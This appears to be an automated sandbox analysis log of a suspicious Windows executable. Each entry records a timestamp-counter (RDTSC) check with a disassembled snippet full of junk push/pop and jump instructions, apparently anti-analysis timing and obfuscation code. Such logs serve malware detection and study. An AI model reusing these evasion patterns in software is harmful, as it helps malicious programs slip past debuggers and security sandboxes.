Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C6363 second address: 11C6374 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C6374 second address: 11C6392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFCC8E1B146h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C6392 second address: 11C6396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C6396 second address: 11C63FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007EFCC8E1B138h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 jp 00007EFCC8E1B137h 0x00000028 cmc 0x00000029 push 00000000h 0x0000002b mov di, 0AAAh 0x0000002f push 00000000h 0x00000031 jo 00007EFCC8E1B13Bh 0x00000037 or di, 9081h 0x0000003c xchg eax, esi 0x0000003d jo 00007EFCC8E1B13Eh 0x00000043 jnc 00007EFCC8E1B138h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push ecx 0x0000004d jmp 00007EFCC8E1B142h 0x00000052 pop ecx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C745E second address: 11C74EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007EFCC8D6A382h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007EFCC8D6A378h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c or ebx, 76641700h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007EFCC8D6A378h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push eax 0x0000004f jmp 00007EFCC8D6A381h 0x00000054 pop ebx 0x00000055 push 00000000h 0x00000057 mov ebx, dword ptr [ebp+122D3617h] 0x0000005d push eax 0x0000005e push esi 0x0000005f push eax 0x00000060 push edx 0x00000061 jnl 00007EFCC8D6A376h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C74EB second address: 11C74EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C933B second address: 11C9345 instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C9345 second address: 11C934F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007EFCC8E1B136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C934F second address: 11C93B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007EFCC8D6A378h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 pushad 0x0000002a mov dx, ax 0x0000002d jmp 00007EFCC8D6A37Dh 0x00000032 popad 0x00000033 xchg eax, esi 0x00000034 jmp 00007EFCC8D6A387h 0x00000039 push eax 0x0000003a jng 00007EFCC8D6A382h 0x00000040 js 00007EFCC8D6A37Ch 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C5522 second address: 11C5527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C5610 second address: 11C562D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C562D second address: 11C5655 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFCC8E1B13Ch 0x00000008 ja 00007EFCC8E1B136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jmp 00007EFCC8E1B143h 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C9551 second address: 11C9563 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C9563 second address: 11C95CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jbe 00007EFCC8E1B13Bh 0x00000011 mov ebx, 7EF323EFh 0x00000016 clc 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007EFCC8E1B138h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f add dword ptr [ebp+12471D77h], ebx 0x00000045 mov eax, dword ptr [ebp+122D03D5h] 0x0000004b push FFFFFFFFh 0x0000004d adc edi, 0BAB6CA8h 0x00000053 nop 0x00000054 pushad 0x00000055 pushad 0x00000056 js 00007EFCC8E1B136h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C95CB second address: 11C95D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C95D4 second address: 11C95D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11CD80C second address: 11CD822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8D6A382h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11CD822 second address: 11CD826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11D439F second address: 11D43B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11D43B5 second address: 11D43C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007EFCC8E1B13Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAD4E second address: 11DAD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAD52 second address: 11DAD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAD56 second address: 11DAD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAD5C second address: 11DAD63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAD63 second address: 11DADA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pop esi 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jbe 00007EFCC8D6A38Ch 0x00000018 pushad 0x00000019 jmp 00007EFCC8D6A382h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007EFCC8D6A37Ch 0x0000002b jnc 00007EFCC8D6A376h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DADA1 second address: 11DADB7 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFCC8E1B138h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DADB7 second address: 11DADBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DADBB second address: 11DADC1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAE86 second address: 11DAE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DAE8C second address: 11DAE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DB106 second address: 11DB13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jbe 00007EFCC8D6A376h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007EFCC8D6A388h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DB13F second address: 11DB143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DEA7D second address: 11DEAAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007EFCC8D6A376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFCC8D6A385h 0x00000013 jmp 00007EFCC8D6A37Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF06E second address: 11DF074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF074 second address: 11DF07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF888 second address: 11DF88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF88E second address: 11DF892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF9E8 second address: 11DF9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF9EC second address: 11DF9F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DF9F0 second address: 11DF9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DFB63 second address: 11DFB71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DFB71 second address: 11DFB80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11DFB80 second address: 11DFB84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4FD3 second address: 11E4FD9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4FD9 second address: 11E5008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007EFCC8D6A380h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jmp 00007EFCC8D6A382h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BA197 second address: 11BA19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BA19B second address: 119AE1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007EFCC8D6A382h 0x0000000f call dword ptr [ebp+122D1B3Eh] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007EFCC8D6A387h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BA7D5 second address: 11BA845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jp 00007EFCC8E1B149h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f ja 00007EFCC8E1B143h 0x00000015 jmp 00007EFCC8E1B13Dh 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d jmp 00007EFCC8E1B13Eh 0x00000022 jmp 00007EFCC8E1B146h 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007EFCC8E1B13Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E40CA second address: 11E40F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c jp 00007EFCC8D6A376h 0x00000012 jc 00007EFCC8D6A376h 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E40F4 second address: 11E40F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E43CA second address: 11E43E7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007EFCC8D6A376h 0x00000009 jnc 00007EFCC8D6A376h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFCC8D6A37Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E43E7 second address: 11E43EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4806 second address: 11E4814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007EFCC8D6A376h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4968 second address: 11E4975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4ADC second address: 11E4AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E4AE0 second address: 11E4B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8E1B13Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007EFCC8E1B148h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E83D2 second address: 11E8423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A381h 0x00000007 jmp 00007EFCC8D6A384h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007EFCC8D6A376h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007EFCC8D6A380h 0x0000001e popad 0x0000001f popad 0x00000020 jbe 00007EFCC8D6A396h 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E8423 second address: 11E8432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007EFCC8E1B136h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E8432 second address: 11E8436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11E99ED second address: 11E99F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F2E0E second address: 11F2E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F1769 second address: 11F17B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007EFCC8E1B13Dh 0x0000000c pushad 0x0000000d jmp 00007EFCC8E1B13Dh 0x00000012 jmp 00007EFCC8E1B140h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jmp 00007EFCC8E1B143h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F17B5 second address: 11F17B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F1AA8 second address: 11F1AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007EFCC8E1B136h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007EFCC8E1B142h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F1DB4 second address: 11F1DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F1DBA second address: 11F1DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFCC8E1B146h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F2255 second address: 11F225B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F225B second address: 11F225F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F225F second address: 11F2273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFCC8D6A37Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F2273 second address: 11F2290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8E1B149h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F26C6 second address: 11F26CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F2868 second address: 11F28A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007EFCC8E1B147h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFCC8E1B144h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F28A0 second address: 11F28A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F142D second address: 11F1433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F1433 second address: 11F1450 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFCC8D6A385h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F7A23 second address: 11F7A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007EFCC8E1B13Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F7E8C second address: 11F7EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007EFCC8D6A383h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F8142 second address: 11F8190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007EFCC8E1B13Fh 0x0000000b pop esi 0x0000000c pushad 0x0000000d jl 00007EFCC8E1B136h 0x00000013 jmp 00007EFCC8E1B142h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007EFCC8E1B147h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
